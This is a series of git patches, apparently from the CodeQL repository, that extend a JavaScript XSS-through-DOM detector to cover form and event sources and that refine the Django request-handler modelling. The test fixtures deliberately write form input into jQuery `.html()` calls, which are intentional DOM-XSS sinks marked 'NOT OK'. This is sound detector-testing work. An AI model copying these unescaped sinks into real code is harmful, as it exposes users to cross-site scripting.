    + )} + /> +) \ No newline at end of file From 65d93c9061193e576c7f980a6c2c21dd70b6b1d4 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 09:36:11 +0100 Subject: [PATCH 1138/1241] detect for DOM elements from DOM events in React --- javascript/ql/src/semmle/javascript/DOM.qll | 13 +++++++++++++ .../CWE-079/XssThroughDom/XssThroughDom.expected | 5 +++++ .../Security/CWE-079/XssThroughDom/forms.js | 11 +++++++++++ 3 files changed, 29 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/DOM.qll b/javascript/ql/src/semmle/javascript/DOM.qll index a1facf39505..e5a3d3eb672 100644 --- a/javascript/ql/src/semmle/javascript/DOM.qll +++ b/javascript/ql/src/semmle/javascript/DOM.qll @@ -357,6 +357,15 @@ module DOM { } } + /** + * Gets a reference to a DOM event. + */ + private DataFlow::SourceNode domEventSource() { + exists(JSXAttribute attr | attr.getName().matches("on%") | + result = attr.getValue().flow().getABoundFunctionValue(0).getParameter(0) + ) + } + /** Gets a data flow node that refers directly to a value from the DOM. */ DataFlow::SourceNode domValueSource() { result instanceof DomValueSource::Range } @@ -368,6 +377,10 @@ module DOM { t.start() and result = domValueRef().getAMethodCall(["item", "namedItem"]) or + // e.g.
    e.target}/> + t.startInProp("target") and + result = domEventSource() + or exists(DataFlow::TypeTracker t2 | result = domValueRef(t2).track(t2, t)) } diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected index b7621d89ab7..dfe5365f5d1 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected @@ -30,6 +30,9 @@ nodes | forms.js:45:21:45:26 | values | | forms.js:45:21:45:33 | values.stooge | | forms.js:45:21:45:33 | values.stooge | +| forms.js:57:19:57:32 | e.target.value | +| forms.js:57:19:57:32 | e.target.value | +| forms.js:57:19:57:32 | e.target.value | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | @@ -106,6 +109,7 @@ edges | forms.js:44:21:44:26 | values | forms.js:45:21:45:26 | values | | forms.js:45:21:45:26 | values | forms.js:45:21:45:33 | values.stooge | | forms.js:45:21:45:26 | values | forms.js:45:21:45:33 | values.stooge | +| forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | @@ -132,6 +136,7 @@ edges | forms.js:29:23:29:34 | values.email | forms.js:28:20:28:25 | values | forms.js:29:23:29:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:28:20:28:25 | values | DOM text | | forms.js:35:19:35:30 | values.email | forms.js:34:13:34:18 | values | forms.js:35:19:35:30 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:34:13:34:18 | values | DOM text | | forms.js:45:21:45:33 | values.stooge | forms.js:44:21:44:26 | values | forms.js:45:21:45:33 | values.stooge | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:44:21:44:26 | values | DOM text | +| forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:57:19:57:32 | e.target.value | DOM text | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js index 7054b8333d7..84ebb26e088 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js @@ -51,4 +51,15 @@ const App = () => (
    )} /> +); + +function plainSubmit(e) { + $("#id").html(e.target.value); // NOT OK +} + +const plainReact = () => ( +
    plainSubmit(e)}> + + +
    ) \ No newline at end of file From be9636491bf996d02abb63a9666f61a5763ef880 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 15:44:34 +0100 Subject: [PATCH 1139/1241] add source for react-hook-form in xss-through-dom --- .../dataflow/XssThroughDomCustomizations.qll | 16 ++++++++ .../XssThroughDom/XssThroughDom.expected | 22 +++++++++++ .../Security/CWE-079/XssThroughDom/forms.js | 37 ++++++++++++++++++- 3 files changed, 74 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll index ada7412f8cb..2176d5f83c6 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll @@ -154,5 +154,21 @@ module XssThroughDom { ) } } + + /** + * An object containing input values from a form build with `react-hook-form`. + */ + class ReactHookFormSource extends Source { + ReactHookFormSource() { + exists(API::Node useForm | + useForm = API::moduleImport("react-hook-form").getMember("useForm").getReturn() + | + this = + useForm.getMember("handleSubmit").getParameter(0).getParameter(0).getAnImmediateUse() + or + this = useForm.getMember("getValues").getACall() + ) + } + } } } diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected index dfe5365f5d1..8fc40dc01e6 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected @@ -33,6 +33,17 @@ nodes | forms.js:57:19:57:32 | e.target.value | | forms.js:57:19:57:32 | e.target.value | | forms.js:57:19:57:32 | e.target.value | +| forms.js:71:21:71:24 | data | +| forms.js:71:21:71:24 | data | +| forms.js:72:19:72:22 | data | +| forms.js:72:19:72:27 | data.name | +| forms.js:72:19:72:27 | data.name | +| forms.js:92:17:92:36 | values | +| forms.js:92:26:92:36 | getValues() | +| forms.js:92:26:92:36 | getValues() | +| forms.js:93:25:93:30 | values | +| forms.js:93:25:93:35 | values.name | +| forms.js:93:25:93:35 | values.name | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | @@ -110,6 +121,15 @@ edges | forms.js:45:21:45:26 | values | forms.js:45:21:45:33 | values.stooge | | forms.js:45:21:45:26 | values | forms.js:45:21:45:33 | values.stooge | | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | +| forms.js:71:21:71:24 | data | forms.js:72:19:72:22 | data | +| forms.js:71:21:71:24 | data | forms.js:72:19:72:22 | data | +| forms.js:72:19:72:22 | data | forms.js:72:19:72:27 | data.name | +| forms.js:72:19:72:22 | data | forms.js:72:19:72:27 | data.name | +| forms.js:92:17:92:36 | values | forms.js:93:25:93:30 | values | +| forms.js:92:26:92:36 | getValues() | forms.js:92:17:92:36 | values | +| forms.js:92:26:92:36 | getValues() | forms.js:92:17:92:36 | values | +| forms.js:93:25:93:30 | values | forms.js:93:25:93:35 | values.name | +| forms.js:93:25:93:30 | values | forms.js:93:25:93:35 | values.name | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | @@ -137,6 +157,8 @@ edges | forms.js:35:19:35:30 | values.email | forms.js:34:13:34:18 | values | forms.js:35:19:35:30 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:34:13:34:18 | values | DOM text | | forms.js:45:21:45:33 | values.stooge | forms.js:44:21:44:26 | values | forms.js:45:21:45:33 | values.stooge | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:44:21:44:26 | values | DOM text | | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:57:19:57:32 | e.target.value | DOM text | +| forms.js:72:19:72:27 | data.name | forms.js:71:21:71:24 | data | forms.js:72:19:72:27 | data.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:71:21:71:24 | data | DOM text | +| forms.js:93:25:93:35 | values.name | forms.js:92:26:92:36 | getValues() | forms.js:93:25:93:35 | values.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:92:26:92:36 | getValues() | DOM text | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js index 84ebb26e088..4c84701d241 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js @@ -62,4 +62,39 @@ const plainReact = () => ( -) \ No newline at end of file +) + +import { useForm } from 'react-hook-form'; + +function HookForm() { + const { register, handleSubmit, errors } = useForm(); // initialize the hook + const onSubmit = (data) => { + $("#id").html(data.name); // NOT OK + }; + + return ( +
    + + +
    + ); +} + +function HookForm2() { + const { register, getValues } = useForm(); + + return ( +
    + + +
    + ); +} + \ No newline at end of file From 101d4358a9f334d39ae954291f968079d19805d3 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 16:00:50 +0100 Subject: [PATCH 1140/1241] detect DOM nodes from event callbacks --- javascript/ql/src/semmle/javascript/DOM.qll | 11 ++++++++++- .../CWE-079/XssThroughDom/XssThroughDom.expected | 10 ++++++++++ .../Security/CWE-079/XssThroughDom/forms.js | 11 ++++++++++- 3 files changed, 30 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/DOM.qll b/javascript/ql/src/semmle/javascript/DOM.qll index e5a3d3eb672..5b1b9c30542 100644 --- a/javascript/ql/src/semmle/javascript/DOM.qll +++ b/javascript/ql/src/semmle/javascript/DOM.qll @@ -361,9 +361,19 @@ module DOM { * Gets a reference to a DOM event. */ private DataFlow::SourceNode domEventSource() { + // e.g.
    e.target}/> exists(JSXAttribute attr | attr.getName().matches("on%") | result = attr.getValue().flow().getABoundFunctionValue(0).getParameter(0) ) + or + // node.addEventListener("submit", e => e.target) + result = domValueRef().getAMethodCall("addEventListener").getABoundCallbackParameter(1, 0) + or + // node.onSubmit = (e => e.target); + exists(DataFlow::PropWrite write | write = domValueRef().getAPropertyWrite() | + write.getPropertyName().matches("on%") and + result = write.getRhs().getAFunctionValue().getParameter(0) + ) } /** Gets a data flow node that refers directly to a value from the DOM. */ @@ -377,7 +387,6 @@ module DOM { t.start() and result = domValueRef().getAMethodCall(["item", "namedItem"]) or - // e.g. e.target}/> t.startInProp("target") and result = domEventSource() or diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected index 8fc40dc01e6..cfa5ba99070 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected @@ -44,6 +44,12 @@ nodes | forms.js:93:25:93:30 | values | | forms.js:93:25:93:35 | values.name | | forms.js:93:25:93:35 | values.name | +| forms.js:103:23:103:36 | e.target.value | +| forms.js:103:23:103:36 | e.target.value | +| forms.js:103:23:103:36 | e.target.value | +| forms.js:107:23:107:36 | e.target.value | +| forms.js:107:23:107:36 | e.target.value | +| forms.js:107:23:107:36 | e.target.value | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | @@ -130,6 +136,8 @@ edges | forms.js:92:26:92:36 | getValues() | forms.js:92:17:92:36 | values | | forms.js:93:25:93:30 | values | forms.js:93:25:93:35 | values.name | | forms.js:93:25:93:30 | values | forms.js:93:25:93:35 | values.name | +| forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | +| forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | @@ -159,6 +167,8 @@ edges | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | forms.js:57:19:57:32 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:57:19:57:32 | e.target.value | DOM text | | forms.js:72:19:72:27 | data.name | forms.js:71:21:71:24 | data | forms.js:72:19:72:27 | data.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:71:21:71:24 | data | DOM text | | forms.js:93:25:93:35 | values.name | forms.js:92:26:92:36 | getValues() | forms.js:93:25:93:35 | values.name | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:92:26:92:36 | getValues() | DOM text | +| forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | forms.js:103:23:103:36 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:103:23:103:36 | e.target.value | DOM text | +| forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | forms.js:107:23:107:36 | e.target.value | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:107:23:107:36 | e.target.value | DOM text | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js index 4c84701d241..b91b7490bb2 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js @@ -97,4 +97,13 @@ function HookForm2() {
    ); } - \ No newline at end of file + +function vanillaJS() { + document.querySelector("form.myform").addEventListener("submit", e => { + $("#id").html(e.target.value); // NOT OK + }); + + document.querySelector("form.myform").onsubmit = function (e) { + $("#id").html(e.target.value); // NOT OK + } +} \ No newline at end of file From 91f7d330448bbb67de31e4d839bea7c3b78463db Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 17:31:47 +0100 Subject: [PATCH 1141/1241] add change note --- javascript/change-notes/2021-02-08-xss-through-dom-forms.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 javascript/change-notes/2021-02-08-xss-through-dom-forms.md diff --git a/javascript/change-notes/2021-02-08-xss-through-dom-forms.md b/javascript/change-notes/2021-02-08-xss-through-dom-forms.md new file mode 100644 index 00000000000..33c864bbaef --- /dev/null +++ b/javascript/change-notes/2021-02-08-xss-through-dom-forms.md @@ -0,0 +1,6 @@ +lgtm,codescanning +* The `js/xss-through-dom` query now recognizes form inputs as sources. + Affected packages are + [formik](https://www.npmjs.com/package/formik) and + [react-final-form](https://www.npmjs.com/package/react-final-form) and + [react-hook-form](https://www.npmjs.com/package/react-hook-form) From 42eceb80bd1f038a584e9f52f146e78e89f944ba Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 10 Feb 2021 15:47:55 +0100 Subject: [PATCH 1142/1241] Python: Handle view functions with decorators --- ...-21-django-view-function-with-decorator.md | 2 ++ .../src/semmle/python/frameworks/Django.qll | 21 ++++++++++++++++++- .../frameworks/django-v2-v3/routing_test.py | 2 +- 3 files changed, 23 insertions(+), 2 deletions(-) create mode 100644 python/change-notes/2021-12-21-django-view-function-with-decorator.md diff --git a/python/change-notes/2021-12-21-django-view-function-with-decorator.md b/python/change-notes/2021-12-21-django-view-function-with-decorator.md new file mode 100644 index 00000000000..404ce23f240 --- /dev/null +++ b/python/change-notes/2021-12-21-django-view-function-with-decorator.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Improved modeling of `django` to recognize request handlers functions that are decorated (for example with `django.views.decorators.http.require_GET`). This leads to more sources of remote user input (`RemoteFlowSource`), since we correctly identify the first parameter as being passed a django request. diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index fd43d938806..b39edb6d97c 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1975,6 +1975,14 @@ private module Django { } } + /** + * Gets the last decorator call for the function `func`, if `func` has decorators. + */ + private Expr lastDecoratorCall(Function func) { + result = func.getDefinition().(FunctionExpr).getADecoratorCall() and + not exists(Call other_decorator | other_decorator.getArg(0) = result) + } + // --------------------------------------------------------------------------- // routing modeling // --------------------------------------------------------------------------- @@ -1987,7 +1995,18 @@ private module Django { */ private DataFlow::Node djangoRouteHandlerFunctionTracker(DataFlow::TypeTracker t, Function func) { t.start() and - result = DataFlow::exprNode(func.getDefinition()) + ( + not exists(func.getADecorator()) and + result.asExpr() = func.getDefinition() + or + // If the function has decorators, we still want to model the function as being + // the request handler for a route setup. In such situations, we must track the + // last decorator call instead of the function itself. + // + // Note that this means that we blindly ignore what the decorator actually does to + // the function, which seems like an OK tradeoff. + result.asExpr() = lastDecoratorCall(func) + ) or exists(DataFlow::TypeTracker t2 | result = djangoRouteHandlerFunctionTracker(t2, func).track(t2, t) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index d6736433b0f..c45c4a36869 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -134,7 +134,7 @@ class PossiblyNotRouted(View): @require_GET -def with_decorator(request, foo): # $ MISSING: requestHandler routedParameter=foo +def with_decorator(request, foo): # $ requestHandler routedParameter=foo pass urlpatterns = [ From 78a3206fce88d07157404ab5e045941d4465057a Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 10 Feb 2021 15:55:54 +0100 Subject: [PATCH 1143/1241] Python: Add test with unkown view class in django --- .../frameworks/django-v2-v3/routing_test.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index c45c4a36869..557201a8d65 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -140,3 +140,13 @@ def with_decorator(request, foo): # $ requestHandler routedParameter=foo urlpatterns = [ path("with_decorator/", with_decorator), # $ routeSetup="with_decorator/" ] + +class UnknownViewSubclass(UnknownViewSuperclass): + # Although we don't know for certain that this class is a django view class, the fact that it's + # used with `as_view()` in the routing setup should be enough that we treat it as such. + def get(self, request): # $ MISSING: requestHandler + pass + +urlpatterns = [ + path("UnknownViewSubclass/", UnknownViewSubclass.as_view()), # $ routeSetup="UnknownViewSubclass/" +] From b428945bc296d2a9a8f798fe600e48da89e19221 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 10 Feb 2021 16:06:44 +0100 Subject: [PATCH 1144/1241] Django: Fix DjangoRouteHandler char-pred Before it the class would contain _all_ functions xD --- python/ql/src/semmle/python/frameworks/Django.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index b39edb6d97c..08794a32a89 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -2029,7 +2029,7 @@ private module Django { DjangoViewClassDef() { this.getABase() = django::views::generic::View::subclassRef().asExpr() } /** Gets a function that could handle incoming requests, if any. */ - DjangoRouteHandler getARequestHandler() { + Function getARequestHandler() { // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def result = this.getAMethod() and @@ -2076,7 +2076,7 @@ private module Django { */ private class DjangoRouteHandler extends Function { DjangoRouteHandler() { - exists(djangoRouteHandlerFunctionTracker(this)) + exists(DjangoRouteSetup route | route.getViewArg() = djangoRouteHandlerFunctionTracker(this)) or any(DjangoViewClassDef vc).getARequestHandler() = this } From ca0d3459875dc505f98611bf3915d7f195c5cb12 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 10 Feb 2021 16:26:25 +0100 Subject: [PATCH 1145/1241] Django: Model any class used in django route setup as view class --- ...r.md => 2021-12-21-django-improvements.md} | 1 + .../src/semmle/python/frameworks/Django.qll | 51 +++++++++++++------ .../frameworks/django-v2-v3/routing_test.py | 2 +- 3 files changed, 38 insertions(+), 16 deletions(-) rename python/change-notes/{2021-12-21-django-view-function-with-decorator.md => 2021-12-21-django-improvements.md} (52%) diff --git a/python/change-notes/2021-12-21-django-view-function-with-decorator.md b/python/change-notes/2021-12-21-django-improvements.md similarity index 52% rename from python/change-notes/2021-12-21-django-view-function-with-decorator.md rename to python/change-notes/2021-12-21-django-improvements.md index 404ce23f240..e3a22961c73 100644 --- a/python/change-notes/2021-12-21-django-view-function-with-decorator.md +++ b/python/change-notes/2021-12-21-django-improvements.md @@ -1,2 +1,3 @@ lgtm,codescanning * Improved modeling of `django` to recognize request handlers functions that are decorated (for example with `django.views.decorators.http.require_GET`). This leads to more sources of remote user input (`RemoteFlowSource`), since we correctly identify the first parameter as being passed a django request. +* Improved modeling of django View classes. We now consider any class using in a routing setup with `.as_view()` as django view class. This leads to more sources of remote user input (`RemoteFlowSource`), since we correctly identify the first parameter as being passed a django request. diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 08794a32a89..6599ccdc03a 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -2024,18 +2024,8 @@ private module Django { result = djangoRouteHandlerFunctionTracker(DataFlow::TypeTracker::end(), func) } - /** A django View class defined in project code. */ - class DjangoViewClassDef extends Class { - DjangoViewClassDef() { this.getABase() = django::views::generic::View::subclassRef().asExpr() } - - /** Gets a function that could handle incoming requests, if any. */ - Function getARequestHandler() { - // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with - // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def - result = this.getAMethod() and - result.getName() = HTTP::httpVerbLower() - } - + /** A class that might be a django View class. */ + class PossibleDjangoViewClass extends Class { /** Gets a reference to this class. */ private DataFlow::Node getARef(DataFlow::TypeTracker t) { t.start() and @@ -2070,6 +2060,37 @@ private module Django { DataFlow::Node asViewResult() { result = asViewResult(DataFlow::TypeTracker::end()) } } + /** A class that we consider a django View class. */ + abstract class DjangoViewClass extends PossibleDjangoViewClass { + /** Gets a function that could handle incoming requests, if any. */ + Function getARequestHandler() { + // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with + // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def + result = this.getAMethod() and + result.getName() = HTTP::httpVerbLower() + } + } + + /** + * A class that is used in a route-setup, with `.as_view()`, therefore being + * considered a django View class. + */ + class DjangoViewClassFromRouteSetup extends DjangoViewClass { + DjangoViewClassFromRouteSetup() { + exists(DjangoRouteSetup setup | setup.getViewArg() = this.asViewResult()) + } + } + + /** + * A class that has a super-type which is a django View class, therefore also + * becoming a django View class. + */ + class DjangoViewClassFromSuperClass extends DjangoViewClass { + DjangoViewClassFromSuperClass() { + this.getABase() = django::views::generic::View::subclassRef().asExpr() + } + } + /** * A function that is a django route handler, meaning it handles incoming requests * with the django framework. @@ -2078,7 +2099,7 @@ private module Django { DjangoRouteHandler() { exists(DjangoRouteSetup route | route.getViewArg() = djangoRouteHandlerFunctionTracker(this)) or - any(DjangoViewClassDef vc).getARequestHandler() = this + any(DjangoViewClass vc).getARequestHandler() = this } /** Gets the index of the request parameter. */ @@ -2102,7 +2123,7 @@ private module Django { final override DjangoRouteHandler getARequestHandler() { djangoRouteHandlerFunctionTracker(result) = getViewArg() or - exists(DjangoViewClassDef vc | + exists(DjangoViewClass vc | getViewArg() = vc.asViewResult() and result = vc.getARequestHandler() ) @@ -2113,7 +2134,7 @@ private module Django { private class DjangoViewClassHandlerWithoutKnownRoute extends HTTP::Server::RequestHandler::Range, DjangoRouteHandler { DjangoViewClassHandlerWithoutKnownRoute() { - exists(DjangoViewClassDef vc | vc.getARequestHandler() = this) and + exists(DjangoViewClass vc | vc.getARequestHandler() = this) and not exists(DjangoRouteSetup setup | setup.getARequestHandler() = this) } diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index 557201a8d65..acdbe2cfa42 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -144,7 +144,7 @@ urlpatterns = [ class UnknownViewSubclass(UnknownViewSuperclass): # Although we don't know for certain that this class is a django view class, the fact that it's # used with `as_view()` in the routing setup should be enough that we treat it as such. - def get(self, request): # $ MISSING: requestHandler + def get(self, request): # $ requestHandler pass urlpatterns = [ From 9ca738d921d2ea570dcb4037f2bf3543925fda56 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Wed, 10 Feb 2021 16:37:57 +0100 Subject: [PATCH 1146/1241] Python: Add taint test for self.request on django view class --- .../django-v2-v3/TestTaint.expected | 160 +++++++++--------- .../frameworks/django-v2-v3/taint_test.py | 18 +- .../frameworks/django-v2-v3/testapp/views.py | 1 + 3 files changed, 101 insertions(+), 78 deletions(-) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected index 97037cb1079..d3cb5470b1b 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/TestTaint.expected @@ -1,82 +1,88 @@ -| taint_test.py:7 | ok | test_taint | bar | -| taint_test.py:7 | ok | test_taint | foo | -| taint_test.py:8 | ok | test_taint | baz | -| taint_test.py:14 | ok | 